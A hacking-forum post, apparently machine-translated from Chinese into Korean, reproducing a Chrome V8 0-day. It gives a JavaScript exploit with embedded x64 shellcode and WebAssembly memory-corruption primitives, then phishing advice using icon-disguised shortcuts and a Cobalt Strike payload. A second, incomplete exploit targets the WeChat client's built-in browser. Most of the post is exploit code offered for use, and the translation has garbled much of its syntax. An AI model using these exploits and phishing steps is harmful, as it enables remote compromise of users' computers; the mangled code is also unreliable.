KoreanHackerTeam
Moderator
Chrome 0Day 复现与思考
1 漏洞复现
HW 기간 동안 Chrome 0day가 공개되었고 다시 나타났습니다.메모장 용 POC :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
스크립트
함수 gc () {
for (var i=0; i0x80000; ++ i) {
var a=new Arraybuffer ();
}
}
쉘 코드=[0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xc0.
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0xed.
0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x01.
0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xc1
0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x41
0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b.
0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xff.
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x6e,0x6f,0x74,0x65,0x70,
0x61,0x64,0x2e,0x65,0x78,0x65,0x00];
var wasmcode=new uint8array ([0, 97, 115, 109, 1, 0, 0, 0, 0, 1, 133, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 1, 1, 112, 0, 5, 11, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 128, 128, 0, 42, 42 11]);
var wasmmodule=new WebAssembly.Module (WASMCODE);
var wasminstance=new webassembly.instance (wasmmodule);
var main=wasminstance.exports.main;
var bf=새로운 Arraybuffer (8);
var bfview=새로운 데이터 뷰 (bf);
기능 흐름 (f) {
bfview.setfloat64 (0, f, true);
return (bfview.getuint32 (0, true));
}
함수 fhi (f) {
bfview.setfloat64 (0, f, true);
return (bfview.getuint32 (4, true))
}
함수 i2f (Low, Hi) {
bfview.setuint32 (0, low, true);
bfview.setuint32 (4, hi, true);
return bfview.getfloat64 (0, true);
}
함수 f2big (f) {
bfview.setfloat64 (0, f, true);
return bfview.getBigUint64 (0, true);
}
함수 big2f (b) {
bfview.setbiguint64 (0, b, true);
return bfview.getfloat64 (0, true);
}
클래스 LeakArrayBuffer 확장 어레이 버퍼 {
생성자 (크기) {
슈퍼 (크기);
this.slot=0xb33f;
}
}
기능 foo (a) {
x=-1을하자;
(a) x=0xfffffff;
var arr=new Array (Math.Sign (0 -Math.Max (0, x, -1)));
arr.shift ();
local_arr=배열 (2);
local_arr [0]=5.1; //4014666666666666
Buff=New LeakArrayBuffer (0x1000); //Bytelength idx=8로하자
ARR [0]=0x1122;
return [arr, local_arr, buff];
}
for (var i=0; i0x10000; ++ i)
foo (false);
gc (); gc ();
[corprput_arr, rwarr, corrupt_buff]=foo (true);
CORRPUT_ARR [12]=0x22444;
cortput_arr 삭제;
함수 tertbackingstore (Hi, Low) {
rwarr [4]=i2f (flow (rwarr [4]), hi);
rwarr [5]=i2f (낮음, fhi (rwarr [5]);
}
함수 LeakoBjlow (O) {
손상 _buff.slot=O;
return (flow (rwarr [9]) -1);
}
het crupt_view=new dataview (corrupt_buff);
부패하기 _buffer_ptr_low=leakobjlow (visrupt_buff);
idx0addr=arbet_buffer_ptr_low -0x10을하자;
Baseaddr=(부패 _buffer_ptr_low0xffff0000) - (((부패 _buffer_ptr_low0xffff0000) %0x40000) +0x40000;
델타=Baseaddr +0x1c -idx0addr를하자;
if ((델타 % 8)==0) {
BaseIdx=Delta/8하자;
this.base=flow (rwarr [baseIdx]);
} 또 다른 {
baseIdx=(델타 - (델타 % 8))/8);
this.base=fhi (rwarr [baseIdx]);
}
wasminsaddr=leakobjlow (Wasminstance);
Setbackingstore (Wasminsaddr, this.base);
code_entry=corrupt_view.getfloat64 (13 * 8, true);
stackingstore (flow (code_entry), fhi (code_entry));
for (i=0; i shellcode.length; i ++) {
CORRUPT_VIEW.SETUINT8 (I, ShellCode );
}
기본();
/스크립트
전제 조건은 Chrome의 샌드 박스 모드를 끄는 것입니다.

poc.html 실행 :

바로 가기 낚시, 사무실 아이콘을 변경하십시오.

CS 온라인 :
64 비트 페이로드를 생성하고 형식을 다음으로 변환합니다.

POC를 실행하고 성공적으로 시작했습니다.

2 思考
Windows 위의 내장 크롬 브라우저는 기본적으로 샌드 박스 모드를 끕니다. 그러나 32 비트입니다. 32 비트 페이로드가있는 경우 Phish에게 승리하에있는 클라이언트를 사용할 수 있습니다.3 后续补充
Windows Wechat 클라이언트 페이로드 :1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
enable_log=true;
in_worker=true;
//쉘 코드를 입력하십시오
var shellcode=[0x00,0x00];
함수 인쇄 (데이터) {
}
var not_optimised_out=0;
var target_function=(함수 (value) {
if (value==0xdecaf0) {
not_optimised_out +=1;
}
not_optimised_out +=1;
not_optimised_out |=0xff;
not_optimised_out *=12;
});
for (var i=0; i0x10000; ++ i) {
target_function (i);
}
var g_array;
var tderivedncount=17 * 87481-8;
var tderivedndepth=19 * 19;
함수 CB (플래그) {
if (flag==true) {
반품;
}
g_array=새로운 배열 (0);
g_array [0]=0x1dbabe * 2;
반환 'C01DB33F';
}
함수 gc () {
for (var i=0; i0x10000; ++ i) {
새 문자열 ();
}
}
함수 oobaccess () {
var this_=this;
this.buffer=null;
this.buffer_view=null;
this.page_buffer=null;
this.page_view=null;
this.prevent_opt=[];
var kslotoffset=0x1f;
var kbackingstoreoffset=0xf;
클래스 LeakArrayBuffer 확장 어레이 버퍼 {
생성자 () {
슈퍼 (0x1000);
this.slot=this;
}
}
this.page_buffer=new LeakArrayBuffer ();
this.page_view=new dataview (this.page_buffer);
new regexp ({tostring: function () {return 'a'}});
CB (True);
Class DevivedBase 확장 regexp {
생성자 () {
//var array=null;
감독자(
//이 시점에서 JSREGEXP의 4 바이트 할당`this` 객체
//방금 일어났습니다.
{
TOSTRING: CB
}, 'g'
//이제 런타임 JSREGEXP 생성자가 호출되어 손상됩니다.
//JSARRAY.
);
//이 할당은 이제 FixedArray 할당을 직접 따릅니다.
//`this.data`를 위해 만들어 졌는데, 여기서`array.elements '가 가리키는 곳입니다.
this_.buffer=new Arraybuffer (0x80);
g_array [8]=this_.page_buffer;
}
}
//노력하다{
var devived_n=eval (`(함수 devived_n (i) {
if (i==0) {
반환 파생베이스;
}
Class devivedn은 devived_n (i-1)을 확장합니다.
생성자 () {
감독자();
반품;
$ { 'this.a=0;'. 반복 (tderivedncount)}
}
}
반환 파생;
})`);
gc ();
new (devived_n (tderivedndepth)) ();
this.buffer_view=새 Dataview (this.buffer);
this.leakptr=function (obj) {
this.page_buffer.slot=obj;
reture this.buffer_view.getuint32 (kslotoffset, true, this.prevent_opt);
}
this.setptr=function (addr) {
this.buffer_view.setuint32 (kbackingstoreoffset, addr, true, this.prevent_opt);
}
this.read32=함수 (addr) {
this.setptr (addr);
replow this.page_view.getuint32 (0, true,